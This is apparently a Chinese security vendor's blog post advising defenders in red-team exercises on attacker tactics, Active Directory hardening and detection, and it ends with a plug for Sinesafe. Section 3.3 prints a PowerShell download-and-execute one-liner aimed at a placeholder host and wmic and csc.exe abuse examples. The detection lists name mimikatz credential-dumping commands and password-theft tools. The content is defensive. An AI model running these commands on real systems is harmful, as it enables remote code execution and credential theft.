網站漏洞滲透測試項目複檢分析
- 2019 年 10 月 8 日
- 筆記
最近我們Sinesafe參加的幾家機構的滲透測試防守方防護方案評估複查,部分防守方缺乏對攻擊者的正確認知,攻擊者的手法已經比較高超了,不掃描,不落地,污染日誌等都很普及了。同時也要正確認知對手:攻防演練中,攻擊者並非無所不能,他們面臨著和防禦方一樣的問題:時間緊,任務重。所以攻擊者的攻擊目標,攻擊手法也是有跡可循的,知己知彼才能百戰百勝。
一、知彼
攻擊者也是講成本的,因此防守方最好的策略是:做的比其他防守方好一點點即可。好一點的含義:不在低級問題上犯錯(弱密碼、互聯網應用遠程RCE、管理後台暴露、重要伺服器未打修補程式等)。對於「時間緊、任務重」的防守方來說,修建固若金湯的防線顯然意味著大成本投入,以及最緊缺的時間,因此本文不會面面俱到,只選擇性價比高值得快速投入的安全措施和大家分享。
攻擊者一般:目標明確、步驟清晰、控制成本、反檢測,反清理、三流分立。
目標明確:攻擊者只攻擊得分項,和必要路徑(外網入口,內網立足點),對這些目標採取高等級手段,會隱蔽操作;對非必要路徑順路控制下來的伺服器,並不怕被發現,用起來比較隨意,甚至主動製造噪音,干擾防守方。
步驟清晰:資訊收集-控制入口-橫向移動-維持許可權-攻擊目標系統。每一步都是經典操作和教科書式手法。
控制成本:
- 優先攻擊高許可權帳號,如管理員,目標系統負責人帳號;
- 優先攻擊運維/安全人員帳號和終端,這些人往往有伺服器root帳號,安全設備管理員帳號,可以進一步深入控制;
- 優先攻擊集中管控設施,如域控,集中身份認證系統,終端管理系統,攻陷單系統即獲得公司內大部分系統的許可權;
- 優先攻擊基礎設施,如DNS,DHCP,郵件系統,知識分享平台,oa系統,工單系統;這些系統有內置高許可權帳號,或可以幫助攻擊者隱蔽痕迹。或Git/SVN等開發源程式碼管理伺服器,通過程式碼審計發現應用0day漏洞。
反檢測,反清理:
- 樣本隱蔽技術(白利用(帶微軟簽名的程式執行未簽名的黑dll),樣本不落地執行(從網上載入樣本,只運行在記憶體,不落盤不驚動殺軟));
- 快速擴散(攻擊者會將攻擊包做成自動化工具,降低人力投入,快速控制一批有漏洞發伺服器);
- 停止日誌外發,日誌清除(腳本優先停止常見日誌外發工具;同時有開源自動化工具來劫持日誌產生的進程,使得系統不產生日誌;使用完後刪除access.log等日誌);
- 減少掃描,通過分析日誌、分析配置文件、管理員來源IP等方式來獲取內網的其他機器IP資訊,而不是掃描。
- 點擊添加圖片描述(最多60個字)

三流分立:
- 掃描流:用來大批量掃描內網存活IP和漏洞,掃描源通常不被攻擊者重視,被清除也不會影響到攻擊計劃,高水平攻擊者通常使用掃描行為來分散防守方精力。
- 數據流:用來向外網大量傳輸非關鍵數據,通常是有互聯網許可權的終端或伺服器(終端較多),很少有隧道行為或掃描行為,通過簡單的https,sftp方式傳輸數據
- 控制流:用於接受和傳遞遠控指令的伺服器,攻擊者最重視的設施,使用起來最為謹慎,和遠控中心進行交流,常用組件cobaltstrike, empire;有隧道行為,且數據傳輸量很少,會連接若干個IP和域名(避免外網封禁),傳輸必定加密,不使用自簽名證書。
在本次攻防實戰演習準備階段,攻擊方準備了幾十個C2域名。
二、知己知己,主要是知曉防守方防守區域內的資產資訊,縮小暴露面。原則如下:
- 不用的系統,該下的下,該暫停的暫停。不用的功能,該下的下,該暫停的暫停。(平時就應該這樣處理,而不是戰時)
- 該取消訪問的取消,能限制訪問範圍的限制訪問範圍。
- 在用的,搞清楚功能,雙流(數據流和運維流)誰用,有沒有風險,能否一鍵處置。
縮小暴露面 1.按資產所屬緯度梳理
互聯網資產、分支機構資產、子公司資產、外聯公司資產、公有雲資產、開發商、外包商。
容易忽視的:
- 公有雲資產,因為有的業務部門和分支機構公有雲申請都不經過IT部門,上面卻放了大量業務數據。
- 開發商/外包商的資產。開發商/外包商一般給甲方外包開發資訊系統,開發商/外包商公司內部也會自建Git/SVN等源程式碼管理伺服器,存有已經交付給甲方的資訊系統源碼,而開發商/外包商的源碼系統管理安全能力和甲方相比可能就差幾個量級了。後果就是:通過獲得的源碼,發現系統應用0day,從而控制甲方已上線資訊系統。
縮小暴露面 2.按資產屬性梳理
特別關注資產的安全屬性:中間件或框架(版本)、開放在公網API介面(特別是未下線的老介面)、管理後台開放在公網、高危功能(文件上傳點、簡訊驗證碼、重置密碼、文件下載)、遠程接入點(VPN)、特權賬戶(應用管理特權賬戶、應用連接賬戶、系統管理特權賬戶、可以修改賬戶許可權的賬戶、備份賬戶、高層層賬戶)。
每一個安全屬性都是血的教訓。
縮小暴露面 3.忽視點
- 所有內部文檔伺服器上(含OA、郵件系統、jira、wiki、知識庫等)敏感資訊清理或限制訪問許可權,不要有:網路拓撲、安全防護方案和部署位置、各類密碼;
- 資產管理平台上,蜜罐不要叫蜜罐、安全設備IP要隱藏;
- 各類口令:弱口令、默認口令、已泄露口令。
每一個忽視點都是眼淚的結晶。
安全資產管理,更多內容參加:安全資產管理中容易被忽視的幾點
三、防護關鍵點
臨戰前,再想按照大而全的梳理一遍,幾無可能,最好就是把防護關鍵點過一遍,切記都實際看一遍,不要相信別人的回饋。
3.1 安全隔離
滲透測試繞過
從實戰來看,網路層的訪問控制被證明是最有效的(攻擊者很難繞過去),不要相信應用層控制。網路層訪問控制屬於基礎架構安全,這是最有效最重要的,整個安全防護的基礎。
訪問控制策略原則:明細允許,默認拒絕。
- 從內網去互聯網的訪問控制
- 辦公終端:除個別協議無法限制目的IP外,其餘協議全部限制。特殊訪問需求,快速開通。有條件的考慮:終端不能直接訪問互聯網,需要訪問互聯網的兩種解決方案:另外分配一台上網終端、虛擬瀏覽器
- 辦公伺服器:特殊訪問需求開通,默認拒絕
生產網:生產網終端禁止上互聯網、伺服器特殊訪問需求開通,默認拒絕
2.互聯網訪問內網:對互聯網提供服務的伺服器必須在DMZ,和內網隔離。
3.重要系統的訪問控制策略
- 基礎設施如AD、郵件系統的訪問控制。
- 別小看基礎設施ACL訪問控制,這是對抗應用和系統漏洞的最低成本和最有效措施。漏洞層出不窮,唯有ACL訪問控制藥效持久,強烈推薦。
- 終端安全管控、自動化運維繫統等集中控制系統後台登錄限制訪問來源。(優先使用網路訪問控制、其次使用系統層限制、搭配使用應用層限制)
3.2 AD防護
- 準備階段
2.加固階段
對抗許可權提升:對域帳號進行許可權DACL梳理,加固高許可權帳號
- 檢測高許可權帳號可以用bloodhound黑客工具監測,也可以通過System Internal Tools的ADExplorer來進行檢測:
- 1)修改密碼(建議在演習前臨近時間進行修改)
- 2)調整許可權和分組,根據帳號的歸屬人的許可權進行調賬,取消非域管帳號的敏感許可權。
- 3)修改分組內的不合適的人員帳號。
- 4)敏感帳號不允許委派。
- 5)敏感帳號不允許取消Kerberos預鑒權。
- 6)敏感帳號的密碼強度符合規定。
- 7)具備直接域管或者間接域管許可權(例如可以修改Domain Admins的帳號就具備間接域管許可權)的帳號的活動進行報備制度,演習期間未經允許不得進行任何操作,包括登錄等等。
- 8)辦公機和終端演習前全部重啟,消除敏感帳號憑據留存。
- 9)伺服器登錄查看相關憑據,如果有刪除或通過註銷來刪除伺服器上留存的憑據。
- 10)參照https://docs.microsoft.com/en-us/windows-server/identity/ad-ds/plan/security-best-practices/appendix-f–securing-domain-admins-groups-in-active-directory配置域管理員許可權。
- 對抗攻擊者使用MS14-068,MS17-010攻擊域:從舊到新依次安裝DC上的windows修補程式。
- 對抗攻擊者使用ExchangeSSRF漏洞:從舊到新依次安裝Exchange上的windows修補程式。
- 對抗LDAP relay攻擊:在域控上配置LDAP enforce signing。
- 對抗LDAP relay和SSRF攻擊:在域控上配置LDAPS channel binding。
- 對抗LLMNR/NBT Poisoning攻擊:關閉域內WPAD服務。
3.檢測階段
滲透測試檢測階段
原則:若域不安全,最佳修復方案是重裝。
- 檢測敏感共享目錄訪問:訪問了AD伺服器的非正常共享目錄 (非SYSVOL文件夾)
- 檢測mimikatz一系列攻擊行為:
- Mimikatz通過sysmon進程來進行檢測,常見關鍵字有「gentilkiwi (Benjamin DELPY)」(公司名稱)、
- 其他關鍵字:kerberos::golden sekurlsa::pth kerberos::ptt lsadump::dcshadow lsadump::dcsync sekurlsa::logonpasswords privilege::debug misc::skeleton
- 檢測Kerberos弱加密方式:非AES加密方式的Kerberos票據加密請求相當可疑
- 檢測異常註冊表變更和dump:DSRMAdminLogonBehavior
- 變更AdminSDHolder
- 導出HKLMSAM內容
- 導出HKLMSYSTEM內容
- 導出HKLMSECURITY內容
- 檢測ntdsutil濫用:使用了ntdsutil的敏感參數activate instance ntds ;使用了ntdsutil的敏感參數set dsrm password
- 檢測SID history變更:帳號加入SID History成功、失敗
- 檢測lazagne密碼提取工具:特徵 lazagne
- 攻擊者喜歡用的其他工具:
- procdump、PsExec、cain、Mshta、cmstp、QuarkPwDump、getpass、gethash、ntdsdump、Get-PassHashes、Wce、psaattack。
3.3 主機防護(終端和伺服器)對抗
攻擊者在嘗試控制終端和伺服器時,為了繞過常規的殺毒軟體,通常會使用一些免殺手段。而某些免殺手段(如白利用,樣本不落地執行)由於非常穩定和高效,更是受到廣大攻擊者的青睞。
1.Powershell IEX組建下載執行.(文件在記憶體執行,不落硬碟)
利用程式碼示例:powershell.exe -nop -whidden -c IEX ((new-objectnet.webclient).downloadstring('http://x.x.x.x:81/aa'))">
監測特徵:"IEX」 AND 「(New-Object Net.WebClient).DownloadString「
2.Windows系統白文件利用(wmic.exe
利用程式碼示例:cmd/c wmic os get /format:」\x.x.x.x1.xsl」&start/wait notepad
監測特徵:"wmic os get" AND "/format"3.Windows系統白文件利用(csc.exe)
利用程式碼示例:
"C:/Windows/Microsoft.NET/Framework64/v2.0.50727/csc.exe"/noconfig /fullpaths@"C:/Users/a/AppData/Local/Temp/l1xso2zu.cmdline"
監測特徵:"csc.exe" AND ("/r:System.EnterpriseServices.dll"OR "/unsafe")4.Windows系統白文件利用(msiexec.exe)
特徵:被動執行後台執行的參數,有一定誤報率。請自行研究,不再舉例。
5.檢測certutil白利用
特徵:常見繞防火牆使用的參數。請自行研究,不再舉例。
6.檢測通過url.dll來進行不落地執行
請自行研究,不再舉例。
3.4 賬戶和許可權對抗
- 高許可權一律清理,限制使用範圍,每次使用後確認。
- 應用許可權通過日誌分析檢測濫用。
- 關注備份賬戶、可修改許可權賬戶的使用。
- 終端24小時重啟一次。(對抗終端許可權抓取類攻擊)
3.5 瞬間死亡
瞬間死亡有兩種方式:路徑打穿、系統打穿。
3.5.1 路徑打穿
直接從未想過(未設防)的路徑攻擊過來。郵件是控制終端第一選擇入口,具體防護可參見《企業安全建設指南:金融行業安全架構與技術時間》第16章:郵件安全。
邊緣網包括無線和自助終端,包括:打卡機、自動售賣機、會議室設備、ATM機、排隊機等。限制無線和自助終端網路和內網訪問。
限制分支機構、外聯公司等網路和總部的網路訪問。
不要相信理論上不能全通,但實際上存在全通內網的系統。(死於方便性)
3.5.2 系統打穿
系統打穿,都是血淚史。因為我們總是忘記了這些最大的風險源。優先攻擊中心化的系統和跨兩網的系統,包括終端安全管控控制台(控制台安全防護能力很弱)、運維管理系統/Zabbix/Nagios/堡壘機等、單點登錄SSO系統、AD活動目錄;
- 優先攻擊基礎設施:DNS、DHCP、郵件系統、研發伺服器SVN/Git;
- 高價值終端:
- 網路管理員:終端內有網路拓撲和ACL控制策略,甚至可以修改訪問控制;
- 安全管理員:有安全防護方案和檢測系統、告警系統登錄許可權,很多安全系統做了登錄來源限制,繞過手段之一就是控制安全管理員的終端,同時抓取安全管理員賬戶密碼,攻擊者一舉兩得;
- 研發個人終端/運維個人終端:高價值數據;
- 內網掃描器:網路許可權較大,哪都能去。
- 程式碼伺服器:程式碼數據價值比較高。私有協議開發的應用程式,源碼要保護好,有經驗攻擊團隊帶程式碼審計技能成員,通過源碼審計發現應用0day
3.6 容易出問題的點
- 互聯網應用框架RCE
- 應用和中間件管理後台暴露
- VPN:未啟用雙因素,或存在未啟用雙因素的部分用戶
- 測試環境的測試系統未及時打修補程式、弱密碼
- 通過郵件入口控制辦公終端
- 跨兩網的設備
- 伺服器密碼同質問題
- 社工
四、事中和事後
前面分享了很多防護和檢測的事項,但防守方到了這個階段,更重要的是考慮一下事中的各種過載資訊的研判和快速應急處置措施。
我們打內部攻防演習的時候,最大的困擾是決策和處置。
4.1 過載資訊研判
有效高速的決策機制,什麼許可權範圍內的由什麼人決策,這是授權。
什麼崗位(人)負責什麼,這是職責劃分。比如誰負責跟蹤每條告警資訊到Closed狀態?誰負責斷網?誰負責樣本分析?誰負責失陷主機排查?誰負責溯源路徑?誰負責記錄?誰負責彙報?等等。
4.2 快速應急處置
4.2.1 硬體和後勤
- 大的作戰室,容納全部防守隊伍;
- 好的白板(最好電子的),便於梳理攻擊路徑;
- 準備好零食和一日三餐、行軍床。
4.2.2 重要資訊同步
- 已經淪陷的IP清單(黑名單),同步給所有防守方;
- 是否C2域名快速判斷,注意真假難辨的域名。
4.2.3 各類應急處置措施
- 斷網:快速斷網的操作規範和自動化工具
- 誘餌
- 臨時添加ACL和FW規則
- 下線業務:和業務方建立暢通的溝通機制和快速的決策機制
如果失陷(疑似)主機,決策用於誘餌,務必確保誘餌的風險可控,萬一持續利用誘餌在內網橫向移動,再進行限制就困難了。
注意體力分配,高水平攻擊者通常使用掃描行為等方式來分散防守方精力。

4.3 滲透測試複檢
攻防實戰演習後的總結改進提升,才是最終目的。
4.3.1 防護薄弱點和改進措施
- 安全團隊
- 協作團隊
- 廠商和第三方
安全團隊不好推動的工作,不好講的話,要不到的資源,都可以在這裡提出來。
應急處置薄弱點和改進措施,落實到人、計劃和資源中,才是務實的。
4.3.3 資源不足,要資源
安全運營是必由之路,參見 金融業企業安全建設之路
7*24小時的安全運營,既然攻擊對手是7*24小時的,為什麼安全運營不是呢?
4.3.4 必要的管理層彙報
五、注意事項
不要影響業務。攻防演習前的加固,需要妥善評估對業務可用性影響,攻防演習中的應急處置,需要妥善評估對業務可用性影響,畢竟,業務可用性才是老大,安全不是,擺正心態和位置,如果對滲透測試有想法的朋友可以找專業的網站安全公司來處理解決,中國推薦Sinesafe,綠盟,啟明星辰,等等的網站安全公司。